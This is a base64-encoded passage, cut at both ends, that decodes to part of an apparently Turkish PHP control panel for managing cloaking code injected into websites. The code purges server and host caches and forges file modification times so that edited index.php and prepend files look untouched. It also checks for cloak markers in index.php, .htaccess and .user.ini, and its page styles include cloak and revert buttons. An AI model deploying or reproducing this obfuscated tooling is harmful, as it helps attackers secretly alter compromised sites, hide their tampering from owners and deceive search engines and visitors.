E9QVF9TU0xfVkVSSUZZSE9TVD0+MixDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OPT5mYWxzZV0pOwogICAgICAkcFJlc3A9KHN0cmluZyljdXJsX2V4ZWMoJHBDaCk7JHBDb2RlPShpbnQpY3VybF9nZXRpbmZvKCRwQ2gsQ1VSTElORk9fSFRUUF9DT0RFKTtjdXJsX2Nsb3NlKCRwQ2gpOwogICAgICAkcHVyZ2VkPSgkcENvZGU9PT0yMDAmJnN0cmlwb3MoJHBSZXNwLCdQdXJnZWQnKSE9PWZhbHNlKTsKICAgICAgJHJlc1snbGl0ZXNwZWVkX2h0dHBfcHVyZ2UnXT1bJ3MnPT4kcHVyZ2VkPydvayc6J25hJywnbSc9PidIVFRQIFBVUkdFIC86ICcuJHBDb2RlLigkcHVyZ2VkPycgKFB1cmdlZCknOicnKV07CiAgICB9CiAgfWVsc2V7JHJlc1snbGl0ZXNwZWVkX3NlcnZlciddPVsncyc9PiduYScsJ20nPT4nTGl0ZVNwZWVkIHRlc3BpdCBlZGlsbWVkaSddO30KICAvLyBBcnViYSBDRE4KICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXsKICAgICRoaD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107JGNoPWN1cmxfaW5pdCgnaHR0cDovLzEyNy4wLjAuMTo4ODg5L3B1cmdlLycpOwogICAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLFtDVVJMT1BUX1JFVFVSTlRSQU5TRkVSPT50cnVlLENVUkxPUFRfSFRUUEhFQURFUj0+WyJIb3N0OiAkaGgiXSxDVVJMT1BUX1RJTUVPVVQ9PjMsQ1VSTE9QVF9DT05ORUNUVElNRU9VVD0+Ml0pOwogICAgY3VybF9leGVjKCRjaCk7JGNvZGU9KGludCljdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7JGNlcnI9Y3VybF9lcnJvcigkY2gpO2N1cmxfY2xvc2UoJGNoKTsKICAgICRyZXNbJ2FydWJhJ109JGNlcnJ8fCRjb2RlPT09MD9bJ3MnPT4nbmEnLCdtJz0+J1BvcnQgODg4OSB5YW7EsXQgdmVybWVkaSddOlsncyc9PidvaycsJ20nPT4iUHVyZ2UgKEhUVFAgJGNvZGUpIl07CiAgfWVsc2V7JHJlc1snYXJ1YmEnXT1bJ3MnPT4nbmEnLCdtJz0+J2NVUkwgeW9rJ107fQogIC8vIFZhcm5pc2gg4oCUIHNhZGVjZSBwb3J0IDYwODEgKG5hdGl2ZSBWYXJuaXNoIHBvcnR1KTsgODAnZSBQVVJHRSBhdG1hayBjYW5sxLEgc2l0ZXlpIGV0a2lsZXIKICAkdkRvbmU9ZmFsc2U7aWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7JGhoPSRfU0VSVkVSWydIVFRQX0hPU1QnXTsKICAgIGZvcmVhY2goWzYwODFdIGFzICR2cCl7JGNoPWN1cmxfaW5pdCgiaHR0cDovLzEyNy4wLjAuMTokdnAvIik7CiAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCxbQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+dHJ1ZSxDVVJMT1BUX0NVU1RPTVJFUVVFU1Q9PidQVVJHRScsQ1VSTE9QVF9IVFRQSEVBREVSPT5bIkhvc3Q6ICRoaCIsIlgtUHVyZ2UtTWV0aG9kOiBkZWZhdWx0Il0sQ1VSTE9QVF9USU1FT1VUPT4yLENVUkxPUFRfQ09OTkVDVFRJTUVPVVQ9PjJdKTsKICAgICAgY3VybF9leGVjKCRjaCk7JGNvZGU9KGludCljdXJsX2dldGluZm8oJGNoLENVUkxJTkZPX0hUVFBfQ09ERSk7JGNlcnI9Y3VybF9lcnJvcigkY2gpO2N1cmxfY2xvc2UoJGNoKTsKICAgICAgaWYoISRjZXJyJiYkY29kZT4wKXskcmVzWyd2YXJuaXNoJ109WydzJz0+J29rJywnbSc9PiJQVVJHRSBwb3J0ICR2cCDihpIgSFRUUCAkY29kZSJdOyR2RG9uZT10cnVlO2JyZWFrO30KICAgIH0KICAgIGlmKCEkdkRvbmUpJHJlc1sndmFybmlzaCddPVsncyc9PiduYScsJ20nPT4nVmFybmlzaCB0ZXNwaXQgZWRpbG1lZGknXTsKICB9ZWxzZXskcmVzWyd2YXJuaXNoJ109WydzJz0+J25hJywnbSc9PidjVVJMIHlvayddO30KICAvLyBOZ2lueCBGYXN0Q0dJIENhY2hlCiAgJG54Rj1mYWxzZTsKICBmb3JlYWNoKFsnL3Zhci9jYWNoZS9uZ2lueC8nLCcvdG1wL25naW54LWNhY2hlLycsJy9kZXYvc2htL25naW54LWNhY2hlLycsJERJUi4nLy5uZ2lueC1jYWNoZS8nXSBhcyAkbmQpewogICAgaWYoaXNfZGlyKCRuZCkmJmlzX3dyaXRhYmxlKCRuZCkpeyRubj1fY2Nfcm1kaXIoJG5kKTskcmVzWyduZ2lueF9jYWNoZSddPVsncyc9PidvaycsJ20nPT4iTmdpbnggY2FjaGU6ICRubiBkb3N5YSAoJG5kKSJdOyRueEY9dHJ1ZTticmVhazt9CiAgfQogIGlmKCEkbnhGKSRyZXNbJ25naW54X2NhY2hlJ109WydzJz0+J25hJywnbSc9PidOZ2lueCBjYWNoZSBkaXppbmkgeW9rJ107CiAgLy8gTWFuYWdlZCBob3N0IChXUCBFbmdpbmUgLyBLaW5zdGEgLyBQYW50aGVvbiAvIENsb3Vkd2F5cykg4oCUIFBIUCBBUEkgdmFyc2Egc2Vzc2l6Y2UgdGVtaXpsZQogICRtaFB1cmdlZD1bXTsKICBpZihjbGFzc19leGlzdHMoJ1dwZUNvbW1vbicpKXsKICAgIHRyeXtpZihtZXRob2RfZXhpc3RzKCdXcGVDb21tb24nLCdwdXJnZV92YXJuaXNoX2NhY2hlJykpQFdwZUNvbW1vbjo6cHVyZ2VfdmFybmlzaF9jYWNoZSgpO31jYXRjaChFeGNlcHRpb24gJF9lKXt9CiAgICB0cnl7aWYobWV0aG9kX2V4aXN0cygnV3BlQ29tbW9uJywncHVyZ2VfbWVtY2FjaGVkJykpQFdwZUNvbW1vbjo6cHVyZ2VfbWVtY2FjaGVkKCk7fWNhdGNoKEV4Y2VwdGlvbiAkX2Upe30KICAgICRtaFB1cmdlZFtdPSdXUCBFbmdpbmUnOwogIH0KICBpZihjbGFzc19leGlzdHMoJ0tpbnN0YVxcQ2FjaGUnKSYmbWV0aG9kX2V4aXN0cygnS2luc3RhXFxDYWNoZScsJ3B1cmdlX2NvbXBsZXRlX2NhY2hlcycpKXsKICAgIHRyeXskX2tpPW5ldyBLaW5zdGFcQ2FjaGUoKTtAJF9raS0+cHVyZ2VfY29tcGxldGVfY2FjaGVzKCk7fWNhdGNoKEV4Y2VwdGlvbiAkX2Upe30KICAgICRtaFB1cmdlZFtdPSdLaW5zdGEnOwogIH0KICBpZihmdW5jdGlvbl9leGlzdHMoJ2RvX2FjdGlvbicpKUBkb19hY3Rpb24oJ2tpbnN0YV9jYWNoZV9wdXJnZV9hbGwnKTsKICBpZihmdW5jdGlvbl9leGlzdHMoJ3BhbnRoZW9uX2NsZWFyX2VkZ2VfYWxsJykpe3RyeXtAcGFudGhlb25fY2xlYXJfZWRnZV9hbGwoKTt9Y2F0Y2goRXhjZXB0aW9uICRfZSl7fSAkbWhQdXJnZWRbXT0nUGFudGhlb24nO30KICBpZihmdW5jdGlvbl9leGlzdHMoJ2RvX2FjdGlvbicpKXtAZG9fYWN0aW9uKCdicmVlemVfY2xlYXJfYWxsX2NhY2hlJyk7aWYoZGVmaW5lZCgnQlJFRVpFX1ZFUlNJT04nKSkkbWhQdXJnZWRbXT0nQ2xvdWR3YXlzJzt9CiAgJHJlc1snbWFuYWdlZF9ob3N0J109ZW1wdHkoJG1oUHVyZ2VkKT9bJ3MnPT4nbmEnLCdtJz0+J01hbmFnZWQgaG9zdCB0ZXNwaXQgZWRpbG1lZGknXTpbJ3MnPT4nb2snLCdtJz0+aW1wbG9kZSgnLCAnLCRtaFB1cmdlZCkuJyB0ZW1pemxlbmRpJ107CiAgLy8gLmh0YWNjZXNzIHRhcmFtYQogIGlmKGZpbGVfZXhpc3RzKCRESVIuJy8uaHRhY2Nlc3MnKSl7CiAgICAkaHQ9KHN0cmluZylAZmlsZV9nZXRfY29udGVudHMoJERJUi4nLy5odGFjY2VzcycpOyR3YXJucz1bXTsKICAgIGlmKHByZWdfbWF0Y2goJy9FeHBpcmVzQWN0aXZlXHMrT258RXhwaXJlc0J5VHlwZS9pJywkaHQpKSR3YXJuc1tdPSdtb2RfZXhwaXJlcyc7CiAgICBpZihwcmVnX21hdGNoKCcvVzNUQ3xXMyBUb3RhbCBDYWNoZS9pJywkaHQpKSR3YXJuc1tdPSdXM1RDJzsKICAgIGlmKHByZWdfbWF0Y2goJy9MaXRlU3BlZWQvaScsJGh0KSkkd2FybnNbXT0nTGl0ZVNwZWVkJzsKICAgIGlmKHByZWdfbWF0Y2goJy9tYXgtYWdlXHMqPVxzKlsxLTldWzAtOV17Mix9L2knLCRodCkpJHdhcm5zW109J21heC1hZ2UnOwogICAgJHJlc1snaHRhY2Nlc3MnXT0kd2FybnM/WydzJz0+J3dhcm4nLCdtJz0+J0Rpa2thdDogJy5pbXBsb2RlKCcsICcsJHdhcm5zKS4nIHRlc3BpdCBlZGlsZGknXTpbJ3MnPT4nb2snLCdtJz0+J1NvcnVubHUga3VyYWwgeW9rJ107CiAgfWVsc2V7JHJlc1snaHRhY2Nlc3MnXT1bJ3MnPT4nbmEnLCdtJz0+Jy5odGFjY2VzcyB5b2snXTt9CiAgLy8gV2FybXVwCiAgaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSl7CiAgICAkd1NjaD0oIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSYmJF9TRVJWRVJbJ0hUVFBTJ10hPT0nb2ZmJyk/J2h0dHBzJzonaHR0cCc7CiAgICAkd1VybD0kd1NjaC4nOi8vJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJy8nOwogICAgZm9yZWFjaChbJ3dhcm11cF9kZXNrdG9wJz0+J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiBDaHJvbWUvMTIwLjAuMC4wIFNhZmFyaS81MzcuMzYnLAogICAgICAgICAgICAgJ3dhcm11cF9tb2JpbGUnPT4nTW96aWxsYS81LjAgKExpbnV4OyBBbmRyb2lkIDYuMC4xOyBOZXh1cyA1WCkgQXBwbGVXZWJLaXQvNTM3LjM2IENocm9tZS8xMjAuMC4wLjAgTW9iaWxlIFNhZmFyaS81MzcuMzYnXSBhcyAkd2s9PiR3dWEpewogICAgICAkd2NoPWN1cmxfaW5pdCgpOwogICAgICBjdXJsX3NldG9wdF9hcnJheSgkd2NoLFtDVVJMT1BUX1VSTD0+JHdVcmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUj0+dHJ1ZSxDVVJMT1BUX1VTRVJBR0VOVD0+JHd1YSxDVVJMT1BUX1RJTUVPVVQ9PjEwLENVUkxPUFRfRk9MTE9XTE9DQVRJT049PnRydWUsQ1VSTE9QVF9NQVhSRURJUlM9PjMsQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUj0+dHJ1ZSxDVVJMT1BUX1NTTF9WRVJJRllIT1NUPT4yLENVUkxPUFRfSFRUUEhFQURFUj0+WydBY2NlcHQ6IHRleHQvaHRtbCwqLyonLCdBY2NlcHQtTGFuZ3VhZ2U6IHRyLVRSLHRyO3E9MC45LGVuO3E9MC44J11dKTsKICAgICAgY3VybF9leGVjKCR3Y2gpOyR3Yz0oaW50KWN1cmxfZ2V0aW5mbygkd2NoLENVUkxJTkZPX0hUVFBfQ09ERSk7JHdlPWN1cmxfZXJyb3IoJHdjaCk7Y3VybF9jbG9zZSgkd2NoKTsKICAgICAgJHJlc1skd2tdPSR3ZT9bJ3MnPT4nZXJyJywnbSc9PidXYXJtdXAgaGF0YXPEsTogJy4kd2VdOlsncyc9PidvaycsJ20nPT4iSFRUUCAkd2Mg4oaSICR3VXJsIl07CiAgICB9CiAgfWVsc2V7JHJlc1snd2FybXVwX2Rlc2t0b3AnXT1bJ3MnPT4nbmEnLCdtJz0+J2NVUkwgeW9rJ107JHJlc1snd2FybXVwX21vYmlsZSddPVsncyc9PiduYScsJ20nPT4nY1VSTCB5b2snXTt9CiAgd2hpbGUob2JfZ2V0X2xldmVsKCk+MClvYl9lbmRfY2xlYW4oKTsKICAkb3V0PWpzb25fZW5jb2RlKCRyZXMsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7CiAgaWYoJG91dD09PWZhbHNlKXthcnJheV93YWxrX3JlY3Vyc2l2ZSgkcmVzLGZ1bmN0aW9uKCYkdil7aWYoaXNfc3RyaW5nKCR2KSkkdj1mdW5jdGlvbl9leGlzdHMoJ2ljb252Jyk/KHN0cmluZylAaWNvbnYoJ1VURi04JywnVVRGLTgvL0lHTk9SRScsJHYpOnN1YnN0cigkdiwwLDUwMCk7fSk7JG91dD1qc29uX2VuY29kZSgkcmVzLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpO2lmKCRvdXQ9PT1mYWxzZSkkb3V0PSd7ImZhdGFsIjoianNvbl9lbmNvZGVfZmFpbCJ9Jzt9CiAgaGVhZGVyKCJDb250ZW50LVR5cGU6YXBwbGljYXRpb24vanNvbiIpO2VjaG8gJG91dDtleGl0Owp9CgovLyAtLS0tIEFjdGlvbjogZml4dGltZXN0YW1wIC0tLS0KaWYoJGE9PT0iZml4dGltZXN0YW1wIil7CiAgJGNtcz1ub3hfZGV0ZWN0X2NtcygkRElSKTskZmlsZXM9bm94X2ZpbGVfbmFtZXMoJGNtcyk7CiAgJHByZXBlbmRQYXRoPSRESVIuJy8nLiRmaWxlc1sncHJlcGVuZCddOwogICRjb250ZW50UGF0aD1ub3hfY29udGVudF9wYXRoKCRESVIsJGZpbGVzWydjb250ZW50J10pOwogICR0YXJnZXRzPVsnaW5kZXgucGhwJz0+JERJUi4nL2luZGV4LnBocCcsJ3ByZXBlbmQnPT4kcHJlcGVuZFBhdGgsJ2NvbnRlbnQnPT4kY29udGVudFBhdGhdOwogICRza2lwPVtiYXNlbmFtZShfX0ZJTEVfXyksJGZpbGVzWydwcmVwZW5kJ11dOwogICRyZWZNdD1yZWZfbXRpbWUoJERJUixhcnJheV9tZXJnZSgkc2tpcCxbJ2luZGV4LnBocCddKSk7JHJlcz1bXTsKICBpZighJHJlZk10KXskcmVzWydyZWYnXT1bJ3MnPT4nd2FybicsJ20nPT4nUmVmZXJhbnMgZG9zeWEgYnVsdW5hbWFkxLEnXTtoZWFkZXIoIkNvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uIik7ZWNobyBqc29uX2VuY29kZSgkcmVzLEpTT05fVU5FU0NBUEVEX1VOSUNPREUpO2V4aXQ7fQogICRyZXNbJ3JlZiddPVsncyc9PidvaycsJ20nPT4nUmVmZXJhbnM6ICcuZGF0ZSgnZC5tLlkgSDppJywkcmVmTXQpXTsKICBmb3JlYWNoKCR0YXJnZXRzIGFzICRsYWJlbD0+JGZwKXsKICAgIGlmKCFmaWxlX2V4aXN0cygkZnApKXskcmVzWyRsYWJlbF09WydzJz0+J25hJywnbSc9PidEb3N5YSB5b2snXTtjb250aW51ZTt9CiAgICAkb2xkPUBmaWxlbXRpbWUoJGZwKTskb2s9QHRvdWNoKCRmcCwkcmVmTXQpOwogICAgJHJlc1skbGFiZWxdPVsncyc9PiRvaz8nb2snOidlcnInLCdtJz0+ZGF0ZSgnZC5tLlkgSDppJywkb2xkKS4nIOKGkiAnLmRhdGUoJ2QubS5ZIEg6aScsJHJlZk10KV07CiAgfQogIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL2pzb24iKTtlY2hvIGpzb25fZW5jb2RlKCRyZXMsSlNPTl9VTkVTQ0FQRURfVU5JQ09ERSk7ZXhpdDsKfQoKaWYoJGE9PT0iaW5mbyIpe2VjaG8iPHByZT5QSFAgIi5QSFBfVkVSU0lPTi4iXG4iLnBocF91bmFtZSgpLiJcblNBUEk6ICIucGhwX3NhcGlfbmFtZSgpLiJcbkNNUzogIi5ub3hfY21zX2xhYmVsKG5veF9kZXRlY3RfY21zKCRESVIpKS4iPC9wcmU+IjtleGl0O30KCi8vIC0tLS0gRHVydW0gU2F5ZmFzxLEgLS0tLQokY21zPW5veF9kZXRlY3RfY21zKCRESVIpOyRzYXBpPW5veF9kZXRlY3Rfc2FwaSgpOyRmaWxlcz1ub3hfZmlsZV9uYW1lcygkY21zKTsKJHByZXBlbmRQYXRoPSRESVIuJy8nLiRmaWxlc1sncHJlcGVuZCddOyRjb250ZW50UGF0aD1ub3hfY29udGVudF9wYXRoKCRESVIsJGZpbGVzWydjb250ZW50J10pOwokcHJlcGVuZEV4aXN0cz1maWxlX2V4aXN0cygkcHJlcGVuZFBhdGgpOyRjb250ZW50RXhpc3RzPWZpbGVfZXhpc3RzKCRjb250ZW50UGF0aCk7CiRpZHhQYXRoPSRESVIuJy9pbmRleC5waHAnOyR1aVBhdGg9JERJUi4nLy51c2VyLmluaSc7JGh0UGF0aD0kRElSLicvLmh0YWNjZXNzJzsKJHVpQz1maWxlX2V4aXN0cygkdWlQYXRoKT8oc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkdWlQYXRoKTonJzsKJGlkeEM9ZmlsZV9leGlzdHMoJGlkeFBhdGgpPyhzdHJpbmcpQGZpbGVfZ2V0X2NvbnRlbnRzKCRpZHhQYXRoKTonJzsKJGh0Qz1maWxlX2V4aXN0cygkaHRQYXRoKT8oc3RyaW5nKUBmaWxlX2dldF9jb250ZW50cygkaHRQYXRoKTonJzsKJHYxPXN0cnBvcygkdWlDLCdhdXRvX3ByZXBlbmRfZmlsZScpIT09ZmFsc2U7CiR2Mj1zdHJwb3MoJGlkeEMsJ05PWC1DTE9BSy1TVEFSVCcpIT09ZmFsc2U7CiR2Mz0oYm9vbClwcmVnX21hdGNoKCcvTk9YLUhULVNUQVJULycsJGh0Qyk7CiRodEF2YWlsPSgkc2FwaT09PSdtb2RfcGhwJ3x8JHNhcGk9PT0nbGl0ZXNwZWVkJyk7CiRnb29nbGVGaWxlcz1saXN0X2dvb2dsZV9maWxlcygkRElSKTsKJHBrPSdwPScucmF3dXJsZW5jb2RlKCRfbnApOwokcHJlcGVuZFN6PSRwcmVwZW5kRXhpc3RzP251bWJlcl9mb3JtYXQoQGZpbGVzaXplKCRwcmVwZW5kUGF0aCkpOifigJQnOwokY29udGVudFN6PSRjb250ZW50RXhpc3RzP251bWJlcl9mb3JtYXQoQGZpbGVzaXplKCRjb250ZW50UGF0aCkpOifigJQnOwokaWR4U3o9ZmlsZV9leGlzdHMoJGlkeFBhdGgpP251bWJlcl9mb3JtYXQoQGZpbGVzaXplKCRpZHhQYXRoKSk6J+KAlCc7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnKTsKPz48IURPQ1RZUEUgaHRtbD48aHRtbCBsYW5nPSJ0ciI+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiPgo8dGl0bGU+PD89aHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsnSFRUUF9IT1NUJ10pPz48L3RpdGxlPgo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSI+CjxzdHlsZT4KKntib3gtc2l6aW5nOmJvcmRlci1ib3h9CmJvZHl7YmFja2dyb3VuZDojMWExYTJlO2NvbG9yOiMwZmY7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3BhZGRpbmc6MjRweDttYXJnaW46MDttYXgtd2lkdGg6ODYwcHg7bWFyZ2luOjAgYXV0b30KaDF7Y29sb3I6IzBmMDttYXJnaW46MCAwIDRweDtmb250LXNpemU6MTlweH0KLnN1Yntjb2xvcjojNTU1O2ZvbnQtc2l6ZToxMnB4O21hcmdpbi1ib3R0b206MThweH0KYXtjb2xvcjojMGYwfQouY2FyZHtib3JkZXI6MXB4IHNvbGlkICMwZjM7Ym9yZGVyLXJhZGl1czo2cHg7cGFkZGluZzoxNnB4O21hcmdpbjoxMnB4IDA7YmFja2dyb3VuZDojMTYyMTNlfQouY2FyZCBoM3tjb2xvcjojMGYzO21hcmdpbjowIDAgMTJweDtmb250LXNpemU6MTNweDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7bGV0dGVyLXNwYWNpbmc6LjA4ZW19Ci5zcntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxMHB4O21hcmdpbjo1cHggMDtmb250LXNpemU6MTNweDtmbGV4LXdyYXA6d3JhcH0KLmRvdHt3aWR0aDoxMHB4O2hlaWdodDoxMHB4O2JvcmRlci1yYWRpdXM6NTAlO2ZsZXgtc2hyaW5rOjB9Ci5kb3Qub2t7YmFja2dyb3VuZDojMGYwfS5kb3Qud2FybntiYWNrZ3JvdW5kOiNmYTB9LmRvdC5lcnJ7YmFja2dyb3VuZDojYzMzfS5kb3QubmF7YmFja2dyb3VuZDojNDQ0fQouZmx7Y29sb3I6IzBmZjttaW4td2lkdGg6MjIwcHh9LmZze2NvbG9yOiM1NTU7Zm9udC1zaXplOjExcHh9Ci52YmFkZ2V7Zm9udC1zaXplOjExcHg7cGFkZGluZzoycHggN3B4O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtd2VpZ2h0OmJvbGR9Ci52Yi1va3tiYWNrZ3JvdW5kOiMwYTJlMGE7Ym9yZGVyOjFweCBzb2xpZCAjMGYwO2NvbG9yOiMwZjB9Ci52Yi1uYXtiYWNrZ3JvdW5kOiMxMTE7Ym9yZGVyOjFweCBzb2xpZCAjNDQ0O2NvbG9yOiM1NTV9Ci52Yi1za2lwe2JhY2tncm91bmQ6IzFhMWEwYTtib3JkZXI6MXB4IHNvbGlkICM1NTU7Y29sb3I6Izg4OH0KLmJ0bntjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDpib2xkO3BhZGRpbmc6OXB4IDE4cHg7Ym9yZGVyOm5vbmU7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxM3B4O2JvcmRlci1yYWRpdXM6NHB4O3RyYW5zaXRpb246b3BhY2l0eSAuMTVzfQouYnRuOmhvdmVye29wYWNpdHk6Ljg1fS5idG46YWN0aXZle29wYWNpdHk6LjY1fQouYnRuLXJvd3tkaXNwbGF5OmZsZXg7Z2FwOjhweDttYXJnaW46OHB4IDA7ZmxleC13cmFwOndyYXB9Ci5idG4tcm93IC5idG57ZmxleDoxO21pbi13aWR0aDoxNTBweH0KLmJ0bi1jbG9ha3tiYWNrZ3JvdW5kOiMwYTJlMTA7Y29sb3I6IzBmMztib3JkZXI6MXB4IHNvbGlkICMwYTl9Ci5idG4tcmV2ZXJ0e2JhY2tncm91bmQ6IzJlMTgwMDtjb2xvcjojZmEwO2JvcmRlcjoxcHggc29saWQgI2M4MH0KLmJ0bi1jYWNoZXtiYWNrZ3JvdW5kOiMxYTRhNGE7Y29sb3I6IzBmZjtib3JkZXI6MXB4IHNvbGlkICMwY2N9Ci5idG4tY2hlY2t7YmFja2dyb3VuZDojMGExYTNhO2NvbG9yOiM0YWY7Ym9yZGVyOjFweCBzb2xpZCAjMzhjfQouYnRuLXRze2JhY2tncm91bmQ6IzJhMWE0YTtjb2xvcjojYzhhMGZmO2JvcmRlcjoxcHggc29saWQgIzc3NTVjY30KLmJ0bi1zYXZle2JhY2tncm91bmQ6IzA4Yztjb2xvcjojZmZmfS5idG4tbG9hZHtiYWNrZ3JvdW5kOiMzMzM7Y29sb3I6IzBmMH0KLmNye2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjhweDtwYWRkaW5nOjVweCA4cHg7Ym9yZGVyLXJhZGl1czozcHg7Zm9udC1zaXplOjEycHg7bWFyZ2luOjNweCAwfQouYy1va3tiYWNrZ3JvdW5kOiMwYTFlMGE7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICMwZjA7Y29sb3I6IzBmMH0KLmMtZXJye2JhY2tncm91bmQ6IzFlMGEwYTtib3JkZXItbGVmdDozcHggc29saWQgI2Y1NTtjb2xvcjojZjU1fQouYy13YXJue2JhY2tncm91bmQ6IzFlMTgwYTtib3JkZXItbGVmdDozcHggc29saWQgI2ZhMDtjb2xvcjojZmEwfQouYy1uYXtiYWNrZ3JvdW5kOiMxMTE7Ym9yZGVyLWxlZnQ6M3B4IHNvbGlkICM0NDQ7Y29sb3I6IzU1NX0KLm1zZ3ttYXJnaW4tdG9wOjEwcHg7Zm9udC1zaXplOjEzcHg7bWluLWhlaWdodDoxOHB4fQoubXNnLm9re2NvbG9yOiMwZjB9Lm1zZy5lcnJ7Y29sb3I6I2Y1NX0ubXNnLmluZm97Y29sb3I6IzBmZn0KdGV4dGFyZWF7YmFja2dyb3VuZDojMGExMjI4O2NvbG9yOiMwZmY7Ym9yZGVyOjFweCBzb2xpZCAjMGYzO3BhZGRpbmc6OHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtmb250LXNpemU6MTJweDt3aWR0aDoxMDAlO2hlaWdodDoyNDBweDtib3JkZXItcmFkaXVzOjRweDtyZXNpemU6dmVydGljYWx9CmlucHV0W3R5cGU9dGV4dF17YmFja2dyb3VuZDojMGExMjI4O2NvbG9yOiMwZmY7Ym9yZGVyOjFweCBzb2xpZCAjMGYzO3BhZGRpbmc6NnB4IDhweDtmb250LWZhbWlseTptb25vc3BhY2U7d2lkdGg6MTAwJTtib3JkZXItcmFkaXVzOjRweDttYXJnaW46NHB4IDB9Ci50b29sYmFye2Rpc3BsYXk6ZmxleDtnYXA6OHB4O21hcmdpbjo4cHggMDtmbGV4LXdyYXA6d3JhcDthbGlnbi1pdGVtczpjZW50ZXJ9Ci5ub3Rle2NvbG9yOiM2NjY7Zm9udC1zaXplOjExcHg7bWFyZ2luOjVweCAwfQpkZXRhaWxzPnN1bW1hcnl7Y3Vyc29yOnBvaW50ZXI7Y29sb3I6IzBmMDtmb250LXNpemU6MTNweDtwYWRkaW5nOjZweCAwO3VzZXItc2VsZWN0Om5vbmV9CmRldGFpbHM+c3VtbWFyeTpob3Zlcntjb2xvcjojMGZmfQoudGFne2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6MXB4IDdweDtib3JkZXItcmFkaXVzOjNweDtmb250LXNpemU6MTFweDttYXJnaW4tbGVmdDo2cHh9Ci5iYWRnZS1va3tiYWNrZ3JvdW5kOiMwYTJlMGE7Ym9yZGVyOjFweCBzb2xpZCAjMGYwO2NvbG9yOiMwZjA7cGFkZGluZzo2cHggMTJweDtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTNweDtmb250LXdlaWdodDpib2xkfQouYmFkZ2UtZmFpbHtiYWNrZ3JvdW5kOiMyZTBhMGE7Ym9yZGVyOjFweCBzb2xpZCAjZjU1O2NvbG9yOiNmNTU7cGFkZGluZzo2cHggMTJweDtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTNweDtmb250LXdlaWdodDpib2xkfQouYmFkZ2Utd2FybntiYWNrZ3JvdW5kOiMyZTI0MGE7Ym9yZGVyOjFweCBzb2xpZCAjZmEwO2NvbG9yOiNmYTA7cGFkZGluZzo2cHggMTJweDtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTNweDtmb250LXdlaWdodDpib2xkfQouY2xvYWstc3RhdHVze2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDo2cHg7cGFkZGluZzo1cHggMTJweDtib3JkZXItcmFkaXVzOjRweDtmb250LXNpemU6MTJweDtmb250LXdlaWdodDpib2xkO3doaXRlLXNwYWNlOm5vd3JhcH0KLmNzLWNoZWNraW5ne2JhY2tncm91bmQ6IzBhMTIyODtib3JkZXI6MXB4IHNvbGlkICMwY2M7Y29sb3I6IzBjY30KLmNzLWFrdGlme2JhY2tncm91bmQ6IzBhMmUwYTtib3JkZXI6MXB4IHNvbGlkICMwZjA7Y29sb3I6IzBmMH0KLmNzLXBhc2lme2JhY2tncm91bmQ6IzJlMWEwYTtib3JkZXI6MXB4IHNvbGlkICNmYTA7Y29sb3I6I2ZhMH0KLmNzLWF0aWxtYW1pc3tiYWNrZ3JvdW5kOiMxYTFhMWE7Ym9yZGVyOjFweCBzb2xpZCAjNTU1O2NvbG9yOiM1NTV9Ci5jbXMtYmFkZ2V7ZGlzcGxheTppbmxpbmUtZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjVweDtwYWRkaW5nOjNweCAxMHB4O2JvcmRlci1yYWRpdXM6M3B4O2ZvbnQtc2l6ZToxMXB4O2JhY2tncm91bmQ6IzBhMWEwYTtib3JkZXI6MXB4IHNvbGlkICMwYTk7Y29sb3I6IzBhZjttYXJnaW4tbGVmdDo4cHh9Ci5zYXBpLWJhZGdle2Rpc3BsYXk6aW5saW5lLWZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDo1cHg7cGFkZGluZzozcHggMTBweDtib3JkZXItcmFkaXVzOjNweDtmb250LXNpemU6MTFweDtiYWNrZ3JvdW5kOiMwYTBhMWE7Ym9yZGVyOjFweCBzb2xpZCAjNTU5O2NvbG9yOiM4OGY7bWFyZ2luLWxlZnQ6NHB4fQpocntib3JkZXI6bm9uZTtib3JkZXItdG9wOjFweCBzb2xpZCAjMjI